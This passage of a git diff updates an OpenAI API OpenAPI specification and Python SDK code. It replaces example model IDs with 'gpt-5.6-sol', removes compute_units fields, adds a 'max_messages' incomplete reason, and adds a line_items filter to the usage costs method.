const response = await openai.responses.create({
- model: "o3-mini",
+ model: "gpt-5.6-sol",
input: "How much wood would a woodchuck chuck?",
reasoning: {
effort: "high"
@@ -26003,7 +26000,7 @@ paths:
client = OpenAI()
response = client.responses.create(
- model="o3-mini",
+ model="gpt-5.6-sol",
input="How much wood would a woodchuck chuck?",
reasoning={
"effort": "high"
@@ -26016,7 +26013,7 @@ paths:
using OpenAI.Responses;
OpenAIResponseClient client = new(
- model: "o3-mini",
+ model: "gpt-5.6-sol",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -26044,7 +26041,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "o1-2024-12-17",
+ "model": "gpt-5.6-sol",
"output": [
{
"type": "message",
@@ -26218,7 +26215,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-4o-2024-08-06",
+ "model": "gpt-5.6-sol",
"output": [
{
"type": "message",
@@ -26409,7 +26406,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-4o-2024-08-06",
+ "model": "gpt-5.6-sol",
"output": [
{
"type": "message",
@@ -26489,7 +26486,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.1-codex-max",
+ "model": "gpt-5.6-sol",
"input": [
{
"role": "user",
@@ -26518,7 +26515,7 @@ paths:
// Compact the previous response if you are running out of tokens
const compactedResponse = await openai.responses.compact({
- model: "gpt-5.1-codex-max",
+ model: "gpt-5.6-sol",
input: [
{
role: "user",
@@ -26550,7 +26547,7 @@ paths:
client = OpenAI()
compacted_response = client.responses.compact(
- model="gpt-5.1-codex-max",
+ model="gpt-5.6-sol",
input=[
{
"role": "user",
@@ -26770,7 +26767,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5",
+ "model": "gpt-5.6-sol",
"input": "Tell me a joke."
}'
javascript: |
@@ -26779,7 +26776,7 @@ paths:
const client = new OpenAI();
const response = await client.responses.inputTokens.count({
- model: "gpt-5",
+ model: "gpt-5.6-sol",
input: "Tell me a joke.",
});
@@ -26790,7 +26787,7 @@ paths:
client = OpenAI()
response = client.responses.input_tokens.count(
- model="gpt-5",
+ model="gpt-5.6-sol",
input="Tell me a joke."
)
print(response.input_tokens)
@@ -26808,7 +26805,7 @@ paths:
func main() {
client := openai.NewClient()
response, err := client.Responses.InputTokens.Count(context.TODO(), responses.InputTokenCountParams{
- Model: "gpt-5",
+ Model: "gpt-5.6-sol",
Input: "Tell me a joke.",
})
if err != nil {
@@ -26821,7 +26818,7 @@ paths:
openai = OpenAI::Client.new
- response = openai.responses.input_tokens.count(model: "gpt-5", input: "Tell me a joke.")
+ response = openai.responses.input_tokens.count(model: "gpt-5.6-sol", input: "Tell me a joke.")
puts(response)
java: |
@@ -26839,7 +26836,7 @@ paths:
OpenAIClient client = OpenAIOkHttpClient.fromEnv();
InputTokenCountParams params = InputTokenCountParams.builder()
- .model("gpt-5")
+ .model("gpt-5.6-sol")
.input("Tell me a joke.")
.build();
@@ -27397,7 +27394,7 @@ components:
"created_at": 1698984975,
"name": "Math Tutor",
"description": null,
- "model": "gpt-4o",
+ "model": "gpt-5",
"instructions": "You are a personal math tutor. When asked a question, write and run Python code to answer the question.",
"tools": [
{
@@ -28771,7 +28768,7 @@ components:
model:
type: string
description: |
- Model ID used to process the batch, like `gpt-5-2025-08-07`. OpenAI
+ Model ID used to process the batch, like `gpt-5.6-sol`. OpenAI
offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the [model
guide](https://platform.openai.com/docs/models) to browse and compare available models.
@@ -28905,8 +28902,8 @@ components:
{
"id": "batch_abc123",
"object": "batch",
- "endpoint": "/v1/completions",
- "model": "gpt-5-2025-08-07",
+ "endpoint": "/v1/chat/completions",
+ "model": "gpt-5.6-sol",
"errors": null,
"input_file_id": "file-abc123",
"completion_window": "24h",
@@ -29210,7 +29207,7 @@ components:
{
"object": "chat.completion",
"id": "chatcmpl-AyPNinnUqUDYo9SAdA52NobMflmj2",
- "model": "gpt-4o-2024-08-06",
+ "model": "gpt-5.6-sol",
"created": 1738960610,
"request_id": "req_ded8ab984ec4bf840f37566c1011c417",
"tool_choice": null,
@@ -30467,13 +30464,6 @@ components:
type: integer
default: 0
description: Total number of tokens used in the request (prompt + completion).
- compute_units:
- anyOf:
- - type: integer
- minimum: 0
- - type: 'null'
- description: |
- Compute units for the request. Currently null when available.
completion_tokens_details:
type: object
description: Breakdown of tokens used in a completion.
@@ -31047,7 +31037,7 @@ components:
"value": 0.06,
"currency": "usd"
},
- "line_item": "input_tokens",
+ "line_item": "gpt-5.6-sol, input_tokens",
"project_id": "proj_abc",
"quantity": 10000,
"quantity_unit": "tokens"
@@ -31059,7 +31049,7 @@ components:
model:
description: |
ID of the model to use. You can use the [List models](https://platform.openai.com/docs/api-reference/models/list) API to see all of your available models, or see our [Model overview](https://platform.openai.com/docs/models) for descriptions of them.
- example: gpt-4o
+ example: gpt-5
anyOf:
- type: string
- $ref: '#/components/schemas/AssistantSupportedModels'
@@ -31278,7 +31268,7 @@ components:
$ref: '#/components/schemas/ChatCompletionRequestMessage'
model:
description: |
- Model ID used to generate the response, like `gpt-4o` or `o3`. OpenAI
+ Model ID used to generate the response, like `gpt-5.6-sol` or `o3`. OpenAI
offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the [model guide](https://platform.openai.com/docs/models)
to browse and compare available models.
@@ -31667,7 +31657,7 @@ components:
"id": "chatcmpl-B9MHDbslfkBeAs8l4bebGdFOJ6PeG",
"object": "chat.completion",
"created": 1741570283,
- "model": "gpt-4o-2024-08-06",
+ "model": "gpt-5.6-sol",
"choices": [
{
"index": 0,
@@ -31813,13 +31803,13 @@ components:
name: The chat completion chunk object
group: chat
example: |
- {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-4o-mini", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{"role":"assistant","content":""},"logprobs":null,"finish_reason":null}],"obfuscation":"r4N7vQ2m"}
+ {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-5.6-sol", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{"role":"assistant","content":""},"logprobs":null,"finish_reason":null}],"obfuscation":"r4N7vQ2m"}
- {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-4o-mini", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{"content":"Hello"},"logprobs":null,"finish_reason":null}],"obfuscation":"p9K3xT6w"}
+ {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-5.6-sol", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{"content":"Hello"},"logprobs":null,"finish_reason":null}],"obfuscation":"p9K3xT6w"}
....
- {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-4o-mini", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{},"logprobs":null,"finish_reason":"stop"}],"obfuscation":""}
+ {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-5.6-sol", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{},"logprobs":null,"finish_reason":"stop"}],"obfuscation":""}
CreateCompletionRequest:
type: object
properties:
@@ -32094,7 +32084,7 @@ components:
"id": "cmpl-uqkvlQyYK7bGYrRHQ0eXlWi7",
"object": "text_completion",
"created": 1589478378,
- "model": "gpt-4-turbo",
+ "model": "gpt-3.5-turbo-instruct",
"choices": [
{
"text": "\n\nThis is indeed a test",
@@ -32391,17 +32381,17 @@ components:
group: eval runs
example: |
{
- "name": "gpt-4o-mini-2024-07-18",
+ "name": "gpt-5.6-sol",
"data_source": {
"type": "completions",
"input_messages": {
"type": "item_reference",
"item_reference": "item.input"
},
- "model": "gpt-4o-mini-2024-07-18",
+ "model": "gpt-5.6-sol",
"source": {
"type": "stored_completions",
- "model": "gpt-4o-mini-2024-07-18"
+ "model": "gpt-5.6-sol"
}
}
}
@@ -32752,17 +32742,17 @@ components:
group: eval runs
example: |
{
- "name": "gpt-4o-mini-2024-07-18",
+ "name": "gpt-5.6-sol",
"data_source": {
"type": "responses",
"input_messages": {
"type": "item_reference",
"item_reference": "item.input"
},
- "model": "gpt-4o-mini-2024-07-18",
+ "model": "gpt-5.6-sol",
"source": {
"type": "responses",
- "model": "gpt-4o-mini-2024-07-18"
+ "model": "gpt-5.6-sol"
}
}
}
@@ -35633,7 +35623,7 @@ components:
Like:
- Improve the quality of my chatbot
- See how well my chatbot handles customer support
- - Check if o4-mini is better at my usecase than gpt-4o
+ - Check if o4-mini is better at my usecase than gpt-5.6-sol
properties:
object:
type: string
@@ -36226,9 +36216,7 @@ components:
example: |
{
"type": "responses",
- "model": "gpt-4o-mini-2024-07-18",
- "temperature": 0.7,
- "top_p": 1.0,
+ "model": "gpt-5.6-sol",
"users": ["user1", "user2"],
"tools": ["tool1", "tool2"],
"instructions_search": "You are a coding assistant"
@@ -36381,8 +36369,8 @@ components:
"eval_id": "eval_67e579652b548190aaa83ada4b125f47",
"report_url": "https://platform.openai.com/evaluations/eval_67e579652b548190aaa83ada4b125f47?run_id=evalrun_67e57965b480819094274e3a32235e4c",
"status": "queued",
- "model": "gpt-4o-mini",
- "name": "gpt-4o-mini",
+ "model": "gpt-5.6-sol",
+ "name": "gpt-5.6-sol",
"created_at": 1743092069,
"result_counts": {
"total": 0,
@@ -36510,11 +36498,8 @@ components:
}
]
},
- "model": "gpt-4o-mini",
+ "model": "gpt-5.6-sol",
"sampling_params": {
- "seed": 42,
- "temperature": 1.0,
- "top_p": 1.0,
"max_completions_tokens": 2048
}
},
@@ -36799,7 +36784,7 @@ components:
}
],
"finish_reason": "stop",
- "model": "gpt-4o-2024-08-06",
+ "model": "gpt-5.6-sol",
"usage": {
"total_tokens": 521,
"completion_tokens": 2,
@@ -36893,7 +36878,7 @@ components:
}
],
"finish_reason": "stop",
- "model": "gpt-4o-2024-08-06",
+ "model": "gpt-5.6-sol",
"usage": {
"total_tokens": 521,
"completion_tokens": 2,
@@ -37008,7 +36993,7 @@ components:
model:
anyOf:
- type: string
- description: An optional model to filter by (e.g., 'gpt-4o').
+ description: An optional model to filter by (e.g., 'gpt-5.6-sol').
- type: 'null'
created_after:
anyOf:
@@ -37033,7 +37018,7 @@ components:
example: |
{
"type": "stored_completions",
- "model": "gpt-4o",
+ "model": "gpt-5.6-sol",
"created_after": 1668124800,
"created_before": 1668124900,
"limit": 100,
@@ -39855,7 +39840,7 @@ components:
"created_at": 1698982736,
"name": "Coding Tutor",
"description": null,
- "model": "gpt-4o",
+ "model": "gpt-5",
"instructions": "You are a helpful assistant designed to make me better at coding!",
"tools": [],
"tool_resources": {},
@@ -39870,7 +39855,7 @@ components:
"created_at": 1698982718,
"name": "My Assistant",
"description": null,
- "model": "gpt-4o",
+ "model": "gpt-5",
"instructions": "You are a helpful assistant designed to make me better at coding!",
"tools": [],
"tool_resources": {},
@@ -39885,7 +39870,7 @@ components:
"created_at": 1698982643,
"name": null,
"description": null,
- "model": "gpt-4o",
+ "model": "gpt-5",
"instructions": null,
"tools": [],
"tool_resources": {},
@@ -41435,7 +41420,7 @@ components:
name: The model object
example: |
{
- "id": "VAR_chat_model_id",
+ "id": "gpt-5.6-sol",
"object": "model",
"created": 1686935002,
"owned_by": "openai",
@@ -41450,9 +41435,9 @@ components:
- $ref: '#/components/schemas/ModelIdsResponses'
- type: string
- type: 'null'
- description: Model ID used to generate the response, like `gpt-5` or `o3`. OpenAI offers a wide range of models with different capabilities, performance characteristics, and price points. Refer to the [model guide](https://platform.openai.com/docs/models) to browse and compare available models.
+ description: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide range of models with different capabilities, performance characteristics, and price points. Refer to the [model guide](https://platform.openai.com/docs/models) to browse and compare available models.
ModelIdsResponses:
- example: gpt-5.1
+ example: gpt-5.6-sol
anyOf:
- $ref: '#/components/schemas/ModelIdsShared'
- type: string
@@ -41478,7 +41463,7 @@ components:
- gpt-daybreak-red-latest
- gpt-5.6-cyber
ModelIdsShared:
- example: gpt-5.4
+ example: gpt-5.6-sol
anyOf:
- type: string
- $ref: '#/components/schemas/ChatModel'
@@ -42788,7 +42773,7 @@ components:
"object": "project.model_permissions",
"mode": "allow_list",
"model_ids": [
- "gpt-4.1",
+ "gpt-5.6-sol",
"o3"
]
}
@@ -51936,8 +51921,6 @@ components:
Reasoning:
type: object
description: |
- **gpt-5 and o-series models only**
-
Configuration options for
[reasoning models](https://platform.openai.com/docs/guides/reasoning).
title: Reasoning
@@ -52148,6 +52131,7 @@ components:
description: The reason why the response is incomplete.
enum:
- max_output_tokens
+ - max_messages
- content_filter
- type: 'null'
output:
@@ -52580,7 +52564,7 @@ components:
"input": [],
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-4o-mini-2024-07-18",
+ "model": "gpt-5.6-sol",
"output": [
{
"id": "msg_123",
@@ -52766,7 +52750,7 @@ components:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-4o-2024-08-06",
+ "model": "gpt-5.6-sol",
"output": [],
"parallel_tool_calls": true,
"previous_response_id": null,
@@ -53001,7 +52985,7 @@ components:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-4o-mini-2024-07-18",
+ "model": "gpt-5.6-sol",
"output": [],
"previous_response_id": null,
"reasoning_effort": null,
@@ -53541,7 +53525,7 @@ components:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-4o-2024-08-06",
+ "model": "gpt-5.6-sol",
"output": [],
"parallel_tool_calls": true,
"previous_response_id": null,
@@ -53607,7 +53591,7 @@ components:
},
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-4o-mini-2024-07-18",
+ "model": "gpt-5.6-sol",
"output": [],
"previous_response_id": null,
"reasoning_effort": null,
@@ -54213,7 +54197,7 @@ components:
- type: 'null'
model:
description: |
- Model ID used to generate the response, like `gpt-4o` or `o3`. OpenAI
+ Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI
offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the [model guide](https://platform.openai.com/docs/models)
to browse and compare available models.
@@ -54958,13 +54942,6 @@ components:
total_tokens:
type: integer
description: The total number of tokens used.
- compute_units:
- anyOf:
- - type: integer
- minimum: 0
- - type: 'null'
- description: |
- Compute units for the request. Currently null when available.
required:
- input_tokens
- input_tokens_details
@@ -55173,7 +55150,7 @@ components:
{
"type": "response.create",
"stream_id": "agent_1",
- "model": "gpt-5.5",
+ "model": "gpt-5.6-sol",
"input": "Say hello."
}
ResponsesServerEvent:
@@ -56438,7 +56415,7 @@ components:
"failed_at": null,
"completed_at": 1699073498,
"last_error": null,
- "model": "gpt-4o",
+ "model": "gpt-5",
"instructions": null,
"tools": [{"type": "file_search"}, {"type": "code_interpreter"}],
"metadata": {},
@@ -58795,7 +58772,7 @@ components:
"project_id": "proj_abc",
"user_id": "user-abc",
"api_key_id": "key_abc",
- "model": "gpt-4o-mini-2024-07-18",
+ "model": "gpt-5.6-sol",
"batch": false,
"service_tier": "default"
}
@@ -59149,7 +59126,7 @@ components:
"project_id": "proj_abc",
"user_id": "user-abc",
"api_key_id": "key_abc",
- "model": "gpt-4o-mini-2024-07-18",
+ "model": "gpt-5.6-sol",
"context_level": "medium"
}
User:
@@ -61355,6 +61332,77 @@ components:
"id": "resp_abc123"
}
}
+ OAuthErrorCode:
+ anyOf:
+ - enum:
+ - invalid_grant
+ - invalid_subject_token
+ - type: string
+ BetaResponseStreamEvent:
+ description: Event emitted while a response is streamed.
+ anyOf:
+ - $ref: '#/components/schemas/BetaResponseAudioDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseAudioDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseAudioTranscriptDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseAudioTranscriptDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallCodeDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallCodeDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallCompletedEvent'
+ - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallInProgressEvent'
+ - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallInterpretingEvent'
+ - $ref: '#/components/schemas/BetaResponseCompletedEvent'
+ - $ref: '#/components/schemas/BetaResponseContentPartAddedEvent'
+ - $ref: '#/components/schemas/BetaResponseContentPartDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseCreatedEvent'
+ - $ref: '#/components/schemas/BetaResponseErrorEvent'
+ - $ref: '#/components/schemas/BetaResponseFileSearchCallCompletedEvent'
+ - $ref: '#/components/schemas/BetaResponseFileSearchCallInProgressEvent'
+ - $ref: '#/components/schemas/BetaResponseFileSearchCallSearchingEvent'
+ - $ref: '#/components/schemas/BetaResponseFunctionCallArgumentsDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseFunctionCallArgumentsDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseShellCallCommandAddedStreamingEvent'
+ - $ref: '#/components/schemas/BetaResponseShellCallCommandDeltaStreamingEvent'
+ - $ref: '#/components/schemas/BetaResponseShellCallCommandDoneStreamingEvent'
+ - $ref: '#/components/schemas/BetaResponseShellCallOutputContentDeltaStreamingEvent'
+ x-stainless-skip:
+ - go
+ - $ref: '#/components/schemas/BetaResponseShellCallOutputContentDoneStreamingEvent'
+ - $ref: '#/components/schemas/BetaResponseInProgressEvent'
+ - $ref: '#/components/schemas/BetaResponseFailedEvent'
+ - $ref: '#/components/schemas/BetaResponseIncompleteEvent'
+ - $ref: '#/components/schemas/BetaResponseOutputItemAddedEvent'
+ - $ref: '#/components/schemas/BetaResponseOutputItemDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseReasoningSummaryPartAddedEvent'
+ - $ref: '#/components/schemas/BetaResponseReasoningSummaryPartDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseReasoningSummaryTextDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseReasoningSummaryTextDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseReasoningTextDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseReasoningTextDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseRefusalDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseRefusalDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseTextDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseTextDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseWebSearchCallCompletedEvent'
+ - $ref: '#/components/schemas/BetaResponseWebSearchCallInProgressEvent'
+ - $ref: '#/components/schemas/BetaResponseWebSearchCallSearchingEvent'
+ - $ref: '#/components/schemas/BetaResponseImageGenCallCompletedEvent'
+ - $ref: '#/components/schemas/BetaResponseImageGenCallGeneratingEvent'
+ - $ref: '#/components/schemas/BetaResponseImageGenCallInProgressEvent'
+ - $ref: '#/components/schemas/BetaResponseImageGenCallPartialImageEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPCallArgumentsDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPCallArgumentsDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPCallCompletedEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPCallFailedEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPCallInProgressEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPListToolsCompletedEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPListToolsFailedEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPListToolsInProgressEvent'
+ - $ref: '#/components/schemas/BetaResponseOutputTextAnnotationAddedEvent'
+ - $ref: '#/components/schemas/BetaResponseQueuedEvent'
+ - $ref: '#/components/schemas/BetaResponseCustomToolCallInputDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseCustomToolCallInputDoneEvent'
+ discriminator:
+ propertyName: type
ModerationInputType:
type: string
enum:
@@ -67753,8 +67801,6 @@ components:
BetaReasoning:
type: object
description: |
- **gpt-5 and o-series models only**
-
Configuration options for
[reasoning models](https://platform.openai.com/docs/guides/reasoning).
title: Reasoning
@@ -72559,9 +72605,9 @@ components:
- $ref: '#/components/schemas/BetaModelIdsResponses'
- type: string
- type: 'null'
- description: Model ID used to generate the response, like `gpt-5` or `o3`. OpenAI offers a wide range of models with different capabilities, performance characteristics, and price points. Refer to the [model guide](https://platform.openai.com/docs/models) to browse and compare available models.
+ description: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide range of models with different capabilities, performance characteristics, and price points. Refer to the [model guide](https://platform.openai.com/docs/models) to browse and compare available models.
BetaModelIdsResponses:
- example: gpt-5.1
+ example: gpt-5.6-sol
anyOf:
- $ref: '#/components/schemas/BetaModelIdsShared'
- type: string
@@ -72587,7 +72633,7 @@ components:
- gpt-daybreak-red-latest
- gpt-5.6-cyber
BetaModelIdsShared:
- example: gpt-5.4
+ example: gpt-5.6-sol
anyOf:
- type: string
- $ref: '#/components/schemas/ChatModel'
@@ -73854,13 +73900,6 @@ components:
total_tokens:
type: integer
description: The total number of tokens used.
- compute_units:
- anyOf:
- - type: integer
- minimum: 0
- - type: 'null'
- description: |
- Compute units for the request. Currently null when available.
required:
- input_tokens
- input_tokens_details
@@ -74173,6 +74212,7 @@ components:
description: The reason why the response is incomplete.
enum:
- max_output_tokens
+ - max_messages
- content_filter
- type: 'null'
output:
@@ -74495,7 +74535,7 @@ components:
- type: 'null'
model:
description: |
- Model ID used to generate the response, like `gpt-4o` or `o3`. OpenAI
+ Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI
offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the [model guide](https://platform.openai.com/docs/models)
to browse and compare available models.
@@ -76049,7 +76089,7 @@ components:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-4o-2024-08-06",
+ "model": "gpt-5.6-sol",
"output": [],
"parallel_tool_calls": true,
"previous_response_id": null,
@@ -76582,7 +76622,7 @@ components:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-4o-2024-08-06",
+ "model": "gpt-5.6-sol",
"output": [],
"parallel_tool_calls": true,
"previous_response_id": null,
@@ -76774,7 +76814,7 @@ components:
"input": [],
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-4o-mini-2024-07-18",
+ "model": "gpt-5.6-sol",
"output": [
{
"id": "msg_123",
@@ -77207,7 +77247,7 @@ components:
},
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-4o-mini-2024-07-18",
+ "model": "gpt-5.6-sol",
"output": [],
"previous_response_id": null,
"reasoning_effort": null,
@@ -77275,7 +77315,7 @@ components:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-4o-mini-2024-07-18",
+ "model": "gpt-5.6-sol",
"output": [],
"previous_response_id": null,
"reasoning_effort": null,
@@ -78594,7 +78634,7 @@ components:
{
"type": "response.create",
"stream_id": "agent_1",
- "model": "gpt-5.5",
+ "model": "gpt-5.6-sol",
"input": "Say hello."
}
BetaCreateResponse:
@@ -78815,77 +78855,6 @@ components:
type: integer
minimum: 0
maximum: 20
- BetaResponseStreamEvent:
- description: Event emitted while a response is streamed.
- anyOf:
- - $ref: '#/components/schemas/BetaResponseAudioDeltaEvent'
- - $ref: '#/components/schemas/BetaResponseAudioDoneEvent'
- - $ref: '#/components/schemas/BetaResponseAudioTranscriptDeltaEvent'
- - $ref: '#/components/schemas/BetaResponseAudioTranscriptDoneEvent'
- - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallCodeDeltaEvent'
- - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallCodeDoneEvent'
- - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallCompletedEvent'
- - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallInProgressEvent'
- - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallInterpretingEvent'
- - $ref: '#/components/schemas/BetaResponseCompletedEvent'
- - $ref: '#/components/schemas/BetaResponseContentPartAddedEvent'
- - $ref: '#/components/schemas/BetaResponseContentPartDoneEvent'
- - $ref: '#/components/schemas/BetaResponseCreatedEvent'
- - $ref: '#/components/schemas/BetaResponseErrorEvent'
- - $ref: '#/components/schemas/BetaResponseFileSearchCallCompletedEvent'
- - $ref: '#/components/schemas/BetaResponseFileSearchCallInProgressEvent'
- - $ref: '#/components/schemas/BetaResponseFileSearchCallSearchingEvent'
- - $ref: '#/components/schemas/BetaResponseFunctionCallArgumentsDeltaEvent'
- - $ref: '#/components/schemas/BetaResponseFunctionCallArgumentsDoneEvent'
- - $ref: '#/components/schemas/BetaResponseShellCallCommandAddedStreamingEvent'
- - $ref: '#/components/schemas/BetaResponseShellCallCommandDeltaStreamingEvent'
- - $ref: '#/components/schemas/BetaResponseShellCallCommandDoneStreamingEvent'
- - $ref: '#/components/schemas/BetaResponseShellCallOutputContentDeltaStreamingEvent'
- x-stainless-skip:
- - go
- - $ref: '#/components/schemas/BetaResponseShellCallOutputContentDoneStreamingEvent'
- - $ref: '#/components/schemas/BetaResponseInProgressEvent'
- - $ref: '#/components/schemas/BetaResponseFailedEvent'
- - $ref: '#/components/schemas/BetaResponseIncompleteEvent'
- - $ref: '#/components/schemas/BetaResponseOutputItemAddedEvent'
- - $ref: '#/components/schemas/BetaResponseOutputItemDoneEvent'
- - $ref: '#/components/schemas/BetaResponseReasoningSummaryPartAddedEvent'
- - $ref: '#/components/schemas/BetaResponseReasoningSummaryPartDoneEvent'
- - $ref: '#/components/schemas/BetaResponseReasoningSummaryTextDeltaEvent'
- - $ref: '#/components/schemas/BetaResponseReasoningSummaryTextDoneEvent'
- - $ref: '#/components/schemas/BetaResponseReasoningTextDeltaEvent'
- - $ref: '#/components/schemas/BetaResponseReasoningTextDoneEvent'
- - $ref: '#/components/schemas/BetaResponseRefusalDeltaEvent'
- - $ref: '#/components/schemas/BetaResponseRefusalDoneEvent'
- - $ref: '#/components/schemas/BetaResponseTextDeltaEvent'
- - $ref: '#/components/schemas/BetaResponseTextDoneEvent'
- - $ref: '#/components/schemas/BetaResponseWebSearchCallCompletedEvent'
- - $ref: '#/components/schemas/BetaResponseWebSearchCallInProgressEvent'
- - $ref: '#/components/schemas/BetaResponseWebSearchCallSearchingEvent'
- - $ref: '#/components/schemas/BetaResponseImageGenCallCompletedEvent'
- - $ref: '#/components/schemas/BetaResponseImageGenCallGeneratingEvent'
- - $ref: '#/components/schemas/BetaResponseImageGenCallInProgressEvent'
- - $ref: '#/components/schemas/BetaResponseImageGenCallPartialImageEvent'
- - $ref: '#/components/schemas/BetaResponseMCPCallArgumentsDeltaEvent'
- - $ref: '#/components/schemas/BetaResponseMCPCallArgumentsDoneEvent'
- - $ref: '#/components/schemas/BetaResponseMCPCallCompletedEvent'
- - $ref: '#/components/schemas/BetaResponseMCPCallFailedEvent'
- - $ref: '#/components/schemas/BetaResponseMCPCallInProgressEvent'
- - $ref: '#/components/schemas/BetaResponseMCPListToolsCompletedEvent'
- - $ref: '#/components/schemas/BetaResponseMCPListToolsFailedEvent'
- - $ref: '#/components/schemas/BetaResponseMCPListToolsInProgressEvent'
- - $ref: '#/components/schemas/BetaResponseOutputTextAnnotationAddedEvent'
- - $ref: '#/components/schemas/BetaResponseQueuedEvent'
- - $ref: '#/components/schemas/BetaResponseCustomToolCallInputDeltaEvent'
- - $ref: '#/components/schemas/BetaResponseCustomToolCallInputDoneEvent'
- discriminator:
- propertyName: type
- OAuthErrorCode:
- anyOf:
- - enum:
- - invalid_grant
- - invalid_subject_token
- - type: string
RealtimeConnectParams:
type: object
properties:
diff --git a/src/openai/resources/admin/organization/usage.py b/src/openai/resources/admin/organization/usage.py
index 5dbda76f3c..80bf712a03 100644
--- a/src/openai/resources/admin/organization/usage.py
+++ b/src/openai/resources/admin/organization/usage.py
@@ -409,6 +409,7 @@ def costs(
end_time: int | Omit = omit,
group_by: List[Literal["project_id", "line_item", "api_key_id"]] | Omit = omit,
limit: int | Omit = omit,
+ line_items: SequenceNotStr[str] | Omit = omit,
page: str | Omit = omit,
project_ids: SequenceNotStr[str] | Omit = omit,
# Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
@@ -437,6 +438,9 @@ def costs(
limit: A limit on the number of buckets to be returned. Limit can range between 1 and
180, and the default is 7.
+ line_items: Return only costs for these exact line item names. Each value must match the
+ complete `line_item` value, for example `gpt-5.6-sol, input_tokens`.
+
page: A cursor for use in pagination. Corresponding to the `next_page` field from the
previous response.
@@ -465,6 +469,7 @@ def costs(
"end_time": end_time,
"group_by": group_by,
"limit": limit,
+ "line_items": line_items,
"page": page,
"project_ids": project_ids,
},
@@ -1364,6 +1369,7 @@ async def costs(
end_time: int | Omit = omit,
group_by: List[Literal["project_id", "line_item", "api_key_id"]] | Omit = omit,
limit: int | Omit = omit,
+ line_items: SequenceNotStr[str] | Omit = omit,
page: str | Omit = omit,
project_ids: SequenceNotStr[str] | Omit = omit,
# Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
@@ -1392,6 +1398,9 @@ async def costs(
limit: A limit on the number of buckets to be returned. Limit can range between 1 and
180, and the default is 7.
+ line_items: Return only costs for these exact line item names. Each value must match the
+ complete `line_item` value, for example `gpt-5.6-sol, input_tokens`.
+
page: A cursor for use in pagination. Corresponding to the `next_page` field from the
previous response.
